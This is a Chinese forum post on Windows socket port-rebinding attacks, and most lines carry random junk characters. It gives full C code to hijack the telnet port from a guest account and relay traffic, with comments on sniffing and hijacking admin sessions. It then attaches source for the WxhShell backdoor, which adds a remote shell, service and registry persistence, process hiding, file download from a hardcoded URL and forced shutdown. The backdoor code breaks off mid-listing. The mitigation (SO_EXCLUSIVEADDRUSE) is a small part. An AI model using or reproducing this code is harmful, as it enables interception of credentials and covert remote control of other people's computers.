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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8&nb@l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O #t[YP  
dPbn[*:  
  saddr.sin_family = AF_INET; ~9xkiu5~  
^d@2Y0hH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^B%c3U$o  
B:Ft(,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a 9{:ot8,  
1)jea wVmj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `SOQPAnK+;  
RRpY%-8M  
  这意味着什么?意味着可以进行如下的攻击: \yZVn6GVr  
hlZ{bO 'f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IC(:RtJ  
H  XFY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z&B9Yu4M7  
];"40/X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o"FR% %  
e!o\AB%d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '7/F]S0K  
5IOGH*'U8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 em5~4;&'  
e&*b{>1*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bs`{qmbC  
=mF"D:s*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /qMnIo  
y:^o ._  
  #include /]_|uN)Q  
  #include #"lb9. _ M  
  #include S3i p?9  
  #include    #oFyi @U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YM6 J:89  
  int main() 4c95G^dZ  
  { UCK;?]  
  WORD wVersionRequested; 8|<</v8i  
  DWORD ret; =[&+R9s  
  WSADATA wsaData; 6)*B%$?x  
  BOOL val; o ABrhK  
  SOCKADDR_IN saddr; _)~1'tCs}h  
  SOCKADDR_IN scaddr; qp/1 tC`  
  int err; ]uMZvAjb  
  SOCKET s; Yh!=mW!OY  
  SOCKET sc; U#]J5'i  
  int caddsize; B :S8{  
  HANDLE mt; de)4)EzUP  
  DWORD tid;   OzD\* ,{7  
  wVersionRequested = MAKEWORD( 2, 2 ); W h)  
  err = WSAStartup( wVersionRequested, &wsaData ); 7}y@VO6]  
  if ( err != 0 ) { 6wj o:I  
  printf("error!WSAStartup failed!\n"); 9(O eH7  
  return -1; d(TN(6g@  
  } ]jC{o,?s  
  saddr.sin_family = AF_INET; h#KSKKNW  
   bmK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4L ]4WVc  
`GW&*[.7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iw=e"6V  
  saddr.sin_port = htons(23); sNcU>qjj6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @eeI4Jz  
  { U,Uy0s2r  
  printf("error!socket failed!\n"); dNNXMQ0"  
  return -1; D)?%kNeA  
  } `2LmLFkb  
  val = TRUE; 2G$p x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fP5i3[T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'I+S5![<  
  { 'W4B  
  printf("error!setsockopt failed!\n"); r~YBj>}  
  return -1; t&Eiz H$  
  } 4H%#Sn#L^!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |aAyWK  S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &M<"Fmn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `B4Ilh"d  
~3M8"}X;L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {6GX ?aw'  
  { 7M7Lj0Y)L  
  ret=GetLastError(); HR"clD\{Di  
  printf("error!bind failed!\n"); ]u!s-=3s  
  return -1; ZJU %&@  
  } yo->mD  
  listen(s,2); *$|f9jVh  
  while(1) DbLo{mFEIj  
  { dO%f ;m>#  
  caddsize = sizeof(scaddr); R!QR@*N  
  //接受连接请求 XHj%U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M!5=3>Z  
  if(sc!=INVALID_SOCKET) Dy,MQIM|!  
  { 8s2y!pn7Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  YTZ :D/  
  if(mt==NULL) Zi+FIQ(  
  { ]&"ii  
  printf("Thread Creat Failed!\n"); 1fMV$T==K  
  break; )^ZC'[93  
  } H v/5)  
  } fs;\_E[)  
  CloseHandle(mt); V^R,j1*  
  } v]EZYEXFL)  
  closesocket(s); BJb,  
  WSACleanup(); Hzm_o>^KC  
  return 0; NfPWcK [  
  }   iKV|~7nwO  
  DWORD WINAPI ClientThread(LPVOID lpParam) YVa,?&i=N  
  { w(aj'i  
  SOCKET ss = (SOCKET)lpParam; ;`LG WT-<F  
  SOCKET sc; ,$ /Ld76U  
  unsigned char buf[4096]; 5I1YB+$}e  
  SOCKADDR_IN saddr; +aL  
  long num; ;22?-F^  
  DWORD val; 3IQI={:k|D  
  DWORD ret; }xt^}:D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?!U.o1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C]8w[)d[`;  
  saddr.sin_family = AF_INET; e+-#/i*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6q8}8;STTY  
  saddr.sin_port = htons(23); IB| 6\uKn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f3G:J<cL  
  { BKtb@o~(  
  printf("error!socket failed!\n"); {[tmz;C  
  return -1; yP# Y:s  
  } ]s0wJD=  
  val = 100; zps =~|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / 7\q#qIm:  
  { Qt {){uE  
  ret = GetLastError(); iTq&h=(n  
  return -1; Q"~%T@e  
  } oF>`>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z\`SDC  
  { |yO%w#  
  ret = GetLastError(); /eH37H  
  return -1; Vn kh Y  
  } ?xH{7)dO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q"u2<  
  { (|Gwg\r  
  printf("error!socket connect failed!\n"); 7r' _p$  
  closesocket(sc); rf|Nu3AJ  
  closesocket(ss); ru2M"]T  
  return -1; ,M?8s2?  
  } u8KQV7E  
  while(1) ^ '|y^t  
  { LH_H yP_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |[iO./ zP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4GF3.?3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 " Zhh>cz  
  num = recv(ss,buf,4096,0); ;z9 ,c  
  if(num>0) #GlFm?/6K/  
  send(sc,buf,num,0); +em!TO  
  else if(num==0) B-]bhA4|:  
  break; Mz(?_7  
  num = recv(sc,buf,4096,0); zEO~mJzo  
  if(num>0) '+{yg+#/wV  
  send(ss,buf,num,0); { "Cu)AFy  
  else if(num==0) Hy\q{  
  break; -ak. wwx\  
  } FWW@t1)  
  closesocket(ss); /iM1   
  closesocket(sc); 3e^0W_>6  
  return 0 ; 0(Y,Q(JTo&  
  } !Whx^B:  
K)    
qGH[kd  
========================================================== lMu9Dp  
9y&;6V.'  
下边附上一个代码,,WXhSHELL Xw'sh#i2  
$8U$.~v  
========================================================== m-\_L=QzM  
4(P<'FK $  
#include "stdafx.h" F*#!hWtb  
mMXDzAllB  
#include <stdio.h> KzV|::S^  
#include <string.h> C^,b aCX  
#include <windows.h> eq%cRd]u  
#include <winsock2.h> iOEBjj;C  
#include <winsvc.h> :3R3 >o6m  
#include <urlmon.h> O>h h  
OET/4( C  
#pragma comment (lib, "Ws2_32.lib") ~D}fy  
#pragma comment (lib, "urlmon.lib") Ew{*)r)m  
*&IvEu  
#define MAX_USER   100 // 最大客户端连接数 /D^ g"  
#define BUF_SOCK   200 // sock buffer ;`pIq-=  
#define KEY_BUFF   255 // 输入 buffer h_P  
"}1cQ|0a  
#define REBOOT     0   // 重启 km9#lK  
#define SHUTDOWN   1   // 关机 7K.],eo0  
BNE:,I*&  
#define DEF_PORT   5000 // 监听端口 kZG; \  
C4ktCN  
#define REG_LEN     16   // 注册表键长度 qonStIP  
#define SVC_LEN     80   // NT服务名长度 Ih.)iTs~%  
Q.eD:@%iE  
// 从dll定义API +{=U!}3|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $eT[`r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ./3/3& 6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (?'vT %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *2-b&PQR{  
{ixKc  
// wxhshell配置信息 6(7{|iY  
struct WSCFG { Q%q;=a  
  int ws_port;         // 监听端口 hG~.Sc:G  
  char ws_passstr[REG_LEN]; // 口令 -a>CF^tH  
  int ws_autoins;       // 安装标记, 1=yes 0=no :}fA98S  
  char ws_regname[REG_LEN]; // 注册表键名 (D?4*9 =  
  char ws_svcname[REG_LEN]; // 服务名 }z/%b<o_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;Dp*.YJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CfS;F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;PG= 3j_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vv2[t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _8y4U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .p=J_%K}0x  
0[d*Z  
}; AU)\ lyB  
XY6Sm{  
// default Wxhshell configuration QR(;a:  
struct WSCFG wscfg={DEF_PORT, hP WP6;Z  
    "xuhuanlingzhe", QA^FP8!j  
    1, /SM 7t_  
    "Wxhshell", ?o6#i3k#'  
    "Wxhshell", eB9&HD:  
            "WxhShell Service", zBq&/?  
    "Wrsky Windows CmdShell Service", A7#nBHwxZ  
    "Please Input Your Password: ", ucz~y! 4L{  
  1, vJi<PQ6  
  "http://www.wrsky.com/wxhshell.exe", A =Z$H2  
  "Wxhshell.exe" ztHx) !  
    }; 5`e;l$ M`  
](n)bF+ym  
// 消息定义模块 y"7*u 3>"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p`\>GWuT!  
char *msg_ws_prompt="\n\r? for help\n\r#>";  _}JMBIq$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T YR \K  
char *msg_ws_ext="\n\rExit."; 9^H.[t  
char *msg_ws_end="\n\rQuit."; h,&{m*q&  
char *msg_ws_boot="\n\rReboot..."; ep},~tPZn  
char *msg_ws_poff="\n\rShutdown..."; V8WSJ=-&  
char *msg_ws_down="\n\rSave to "; Z*b l J5YC  
wE<r'  
char *msg_ws_err="\n\rErr!"; [+W<;iep  
char *msg_ws_ok="\n\rOK!"; X-" +nThMn  
N}#"o  
char ExeFile[MAX_PATH]; icIWv  
int nUser = 0; +3XaAk  
HANDLE handles[MAX_USER]; ^yl}/OD  
int OsIsNt; /%jX=S.5h<  
^^!G{ *F  
SERVICE_STATUS       serviceStatus; :eL[nyQr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y<nPZ<h  
uJ0'`Q?6R9  
// 函数声明 nvwf!iU6  
int Install(void); UEx<;P8rP  
int Uninstall(void); ^C~R)M:C  
int DownloadFile(char *sURL, SOCKET wsh); FAc^[~E  
int Boot(int flag); !wEe<],  
void HideProc(void); hW!n"qU  
int GetOsVer(void); a @3s71  
int Wxhshell(SOCKET wsl); -'D ~nd${  
void TalkWithClient(void *cs); T4}Wg=UKg  
int CmdShell(SOCKET sock); `bV&n!Y_  
int StartFromService(void); .)WEg|D0Ku  
int StartWxhshell(LPSTR lpCmdLine); (xTGt",_Jo  
Qa:[iF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `jOk6;Z[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %#&njP  
t\YM Hq<Y  
// 数据结构和表定义 e9/Mjq\  
SERVICE_TABLE_ENTRY DispatchTable[] = >)diXe}j  
{ P{n*X  
{wscfg.ws_svcname, NTServiceMain},  W{Z 7=  
{NULL, NULL} 2)0J@r'  
}; 1k)pJzsc  
+C,/BuG  
// 自我安装 0,@^<G8?  
int Install(void) F1-C8V2H  
{ u&TXN;I,p  
  char svExeFile[MAX_PATH]; t54?<-  
  HKEY key; ,G="wI  
  strcpy(svExeFile,ExeFile); [.Fq l+  
+kE~OdZG  
// 如果是win9x系统,修改注册表设为自启动 (G{S*+  
if(!OsIsNt) { /uR/,R++  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bv jsl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eld[z{n"  
  RegCloseKey(key); [N9yW uc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0&CXR=U5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [kxOv7a  
  RegCloseKey(key); ]s)Y">6  
  return 0; oqbz!dM(Z  
    } f2M*]{N  
  } 0m> 8  
} ]i0=3H2  
else { Uz rf,I[  
6L\]Ee  
// 如果是NT以上系统,安装为系统服务 t18j2P>`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EVaHb;  
if (schSCManager!=0) K*,,j\Q.  
{ LCj3{>{/=  
  SC_HANDLE schService = CreateService /5L\:eX%  
  ( ?mK&Slh.  
  schSCManager, q`L )^In"  
  wscfg.ws_svcname, Qmo}esb'(  
  wscfg.ws_svcdisp, 2T(+VeMQ=  
  SERVICE_ALL_ACCESS, 3}mg7KV&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ns\I Y<Yo  
  SERVICE_AUTO_START, M?}:N_9<J  
  SERVICE_ERROR_NORMAL, Oi^cs=}  
  svExeFile,  qbS6#7D  
  NULL,  |xg#Q`O  
  NULL, $$o(  
  NULL, q I~*G3  
  NULL, yoF*yUls^E  
  NULL Jn| i!  
  ); BgdUG:;&  
  if (schService!=0) :wg=H  
  { * ]bB7  
  CloseServiceHandle(schService); Qhc; Zl  
  CloseServiceHandle(schSCManager); J#i7'9g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _Ds,91<muQ  
  strcat(svExeFile,wscfg.ws_svcname); y`7<c5zD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6dz^%Ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ac|dmu  
  RegCloseKey(key); %t!S 7UD  
  return 0; .o C! ~'  
    } \~Z%}$ =  
  } T KAs@X,t  
  CloseServiceHandle(schSCManager); V'Kied+  
} ZPb30M0  
} q^zG+FN  
-D=Sj@G  
return 1; MVvBd3  
} j} ^3v #  
f#GMJ mCQs  
// 自我卸载 hjFht+j1  
int Uninstall(void) 7D:rq 8$\  
{ C^B$_?  
  HKEY key; (&v|,.c^)1  
ly6zz|c5  
if(!OsIsNt) { F |5Au>t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oCI\yp@a  
  RegDeleteValue(key,wscfg.ws_regname); ,5}w]6bCr  
  RegCloseKey(key); p19@to5l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TKsP#Dt/  
  RegDeleteValue(key,wscfg.ws_regname); 1>L'F8"  
  RegCloseKey(key); fvi0gE@bd  
  return 0; 6\K\d_x  
  } h:?qd  
} );t+~YPS  
} y6[le*T  
else { ]plp.f#av  
c@}t@k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >ZG$8y 'j  
if (schSCManager!=0) </xf4.C  
{ R@tEC)Zn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;A7JX:*?y=  
  if (schService!=0) m9:ah<  
  { SvvNk  
  if(DeleteService(schService)!=0) { w <"mS*Q  
  CloseServiceHandle(schService); vF'>?O?  
  CloseServiceHandle(schSCManager); ;sAGTq  
  return 0; wik<# ke  
  } C|3Xz[k{  
  CloseServiceHandle(schService); ZxT E(BQv  
  } BQg3+w:>  
  CloseServiceHandle(schSCManager); &V (6N%A^U  
} vS0 ii  
} !-3;Qj}V  
Y \B6c^E)  
return 1; Z^as ?k(iM  
} il !B={  
N_iy4W(NU  
// 从指定url下载文件 5<v1v&  
int DownloadFile(char *sURL, SOCKET wsh) ^5TVm>F@3  
{ q jc4IW t~  
  HRESULT hr; MO7R3PP  
char seps[]= "/"; $m*Gu:#xm&  
char *token; YCxwIzIR  
char *file; V|sV U  
char myURL[MAX_PATH]; gVzIEE25  
char myFILE[MAX_PATH]; `t)9u^[<(  
y'4Qt.1ukN  
strcpy(myURL,sURL); R*lq7n9  
  token=strtok(myURL,seps); 9oO~UP!ag  
  while(token!=NULL) 1kL8EPT%o  
  { \'Et)uD*  
    file=token; 7/QK"0  
  token=strtok(NULL,seps); (Y7zaAG]  
  } sw$uZ$$~#  
L{8_6s(:  
GetCurrentDirectory(MAX_PATH,myFILE); FibZT1-k  
strcat(myFILE, "\\"); Rky]F+J  
strcat(myFILE, file); V8B4e4F  
  send(wsh,myFILE,strlen(myFILE),0); -6NoEmb)\'  
send(wsh,"...",3,0); ZM v\j|{8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vVa|E# [  
  if(hr==S_OK) vMEN14;yH_  
return 0; /(5"c>  
else sr&W+4T  
return 1; z rSPa\M  
I%a-5f$0  
} AzXLlQ  
x:!s+q` s  
// 系统电源模块 1@KiP`DA  
int Boot(int flag) zEW+1-=)+7  
{ F/>\uzu  
  HANDLE hToken; |%XTy7^a  
  TOKEN_PRIVILEGES tkp; SiX<tj#HH\  
ug2W{D  
  if(OsIsNt) { Q35\wQ#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p2t0 4p!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H2Wlgt  
    tkp.PrivilegeCount = 1; 8^j~uH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0: hv6Ge^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YuknZ&Q  
if(flag==REBOOT) { /R=MX>JA;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b=:ud[h  
  return 0; 04;s@\yX4  
} X]@"ZV[  
else { o|z@h][(l(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ={oNY.(Q  
  return 0; J$1H3#VV G  
} $B%KkD  
  } Ta?}n^V?;  
  else { N2A6C$s  
if(flag==REBOOT) { '0q$qN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;;+AdN5  
  return 0; [I4M K%YQ  
} ~d]v{<3  
else { jD9u(qAlH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y&O2;q/B  
  return 0; &U]/SFY  
} OR~ui[w  
} fy"}# 2  
J}xM+l7uY  
return 1; {E Ay~lo  
} eZT8gKbjJ)  
1a{3k#}  
// win9x进程隐藏模块 .UL 2(0  
void HideProc(void) >iOf3I-ATt  
{ z6E =%-`  
<.4(#Ebd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bgc]t  
  if ( hKernel != NULL ) eP>_CrJb  
  { >;c);|'}q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [q[37;ZEQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g_syGQ\  
    FreeLibrary(hKernel); ={P`Tve  
  } BK%B[f*[OA  
Dbn344s  
return; ye$_=KARP  
} <6 Rec^QF  
ANu>*  
// 获取操作系统版本 }BlyEcw'aN  
int GetOsVer(void) r4 *H96l  
{ $Xlr@)%  
  OSVERSIONINFO winfo; \Yr*x7!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d%'#-w'  
  GetVersionEx(&winfo); |@JTSz*Or  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x0Loid\f  
  return 1; lF!PiL  
  else vNs%e/~vj  
  return 0; "V]*ov&[  
} z f SE7i0  
WC~;t4  
// 客户端句柄模块 d0I s|Gs  
int Wxhshell(SOCKET wsl) p)/e;q^  
{ /)_4QSz7  
  SOCKET wsh; o1(;"5MM  
  struct sockaddr_in client; Wds>'zzS  
  DWORD myID; jC>ZMy8U)4  
X13+n2^8]  
  while(nUser<MAX_USER) n~yKq"^  
{ $"/l*H\h  
  int nSize=sizeof(client); >E J{ *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KUZi3\p9W>  
  if(wsh==INVALID_SOCKET) return 1; :Pdh##k  
<7J3tn B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2w7$"N  
if(handles[nUser]==0) WkA47+DsV  
  closesocket(wsh); (t@)`N{  
else h76j|1gI  
  nUser++; 9t\14tVwx  
  } *% ;A85V/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "t4z)j;  
La1:WYt  
  return 0; |cY HH$  
} xQvI$vP  
_j , Tc*T  
// 关闭 socket ; D<k  
void CloseIt(SOCKET wsh) [#gm[@d,  
{ 9/0H,qZc  
closesocket(wsh); *>=tmW;%  
nUser--; `S|F\mI ~  
ExitThread(0); *J[ P#y  
} C<^i`[&P$  
mnM]@8^G  
// 客户端请求句柄 PM[W7g T  
void TalkWithClient(void *cs) j? BL8E'   
{ Q*#Lr4cm{  
ON\bD?(VY  
  SOCKET wsh=(SOCKET)cs; $EFS_*<X  
  char pwd[SVC_LEN]; WMtFXkf6"  
  char cmd[KEY_BUFF]; C:Rs~@tl  
char chr[1]; I20~bW  
int i,j; 1M??@@X  
G)< B7-72;  
  while (nUser < MAX_USER) { )4uWB2ZRoi  
h7E?7nR  
if(wscfg.ws_passstr) { SnFyK5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ck] I?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aYa`ex  
  //ZeroMemory(pwd,KEY_BUFF); As)?~dV  
      i=0; F!#)l*OX;  
  while(i<SVC_LEN) { im &N &A  
Zt9G[[]  
  // 设置超时 R5=J:o  
  fd_set FdRead; yP$esDP  
  struct timeval TimeOut; R&W%E%uj  
  FD_ZERO(&FdRead); bDWL Hdu a  
  FD_SET(wsh,&FdRead); 30^q_|l:]  
  TimeOut.tv_sec=8; $jh$nMx)!  
  TimeOut.tv_usec=0; 9)t b=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _\+]/rY9o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UiV#w#&P  
KU$,{Sn6@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J8Wits]A]$  
  pwd=chr[0]; QY)p![6Fj  
  if(chr[0]==0xd || chr[0]==0xa) { Nxe1^F33  
  pwd=0; PzKTEYJL  
  break; u|IS7>Sm  
  } `"CA$Se8  
  i++; GZaB z#U  
    } xbCR4upS  
t jThQ  
  // 如果是非法用户,关闭 socket V6dq8Z"h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fj<*!J$,  
} l3b=8yn.  
h!SsIy(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u $-&Im<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2EM6k|l5  
bI0xI[#Q  
while(1) { } F{s\qUt  
Ox J0. "  
  ZeroMemory(cmd,KEY_BUFF); m@kLZimD  
"W+>?u)  
      // 自动支持客户端 telnet标准   `$jun  
  j=0; vE(]!CB  
  while(j<KEY_BUFF) { hev;M)t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $rW(*#C  
  cmd[j]=chr[0]; k ?KJ8  
  if(chr[0]==0xa || chr[0]==0xd) { ( xooU 8d  
  cmd[j]=0; X9?)P5h=  
  break; 9cB+ x`+Lu  
  } P.Bwfa  
  j++; | I:@:  
    } L3\#ufytb  
ZbT$f^o}M]  
  // 下载文件 *yT>  
  if(strstr(cmd,"http://")) { k^ZP~.G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W6>t!1oO+  
  if(DownloadFile(cmd,wsh)) Ci-Ze j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FLG"c690  
  else BJ5MCb.w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $`GlXiV  
  } fmK~?  
  else { ^dLu#,;  
MkMDI)Y|  
    switch(cmd[0]) { $Z)u04;&@  
  +r"}@8/\1  
  // 帮助 b|.Cqsb  
  case '?': { $$ *tK8#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u_NLgM7*  
    break; &=)O:Jfa  
  } q n-f&R  
  // 安装 X>`03?L  
  case 'i': { C)j/!+nh  
    if(Install())  I\_2=mL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i+@vbU6  
    else  b}NNkM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NUVKAAgMX  
    break; $)NS]wJ]3  
    } ~.3v\Q  
  // 卸载 RN 4?]8  
  case 'r': { s.7=!JQ#]p  
    if(Uninstall()) %`k [xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AR( gI]1  
    else `l'T/F \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `PAQv+EYz  
    break; t<fah3hl  
    } [c=P)t7 V  
  // 显示 wxhshell 所在路径 m2^vH+wD  
  case 'p': { s? ;8h &]=  
    char svExeFile[MAX_PATH]; 5FJLDT2Lg  
    strcpy(svExeFile,"\n\r"); yfV]f LZ  
      strcat(svExeFile,ExeFile); V/H+9+B7Im  
        send(wsh,svExeFile,strlen(svExeFile),0); 2F*>&n&Db7  
    break; 'd Be,@  
    }  ^cw9Yjh6  
  // 重启 v|~=rvXFC  
  case 'b': { T1$p%yQH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (" :Dz_  
    if(Boot(REBOOT)) ?xv."I%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uz+ WVmb  
    else { 2iM}YCV  
    closesocket(wsh); v\dQjQu8m  
    ExitThread(0); Tk[]l7R~  
    } (bv{1 7K  
    break; &c!6e<o[p  
    } vC>2%Zgf-  
  // 关机 W7 A!QS  
  case 'd': { Ox#vW6;)  
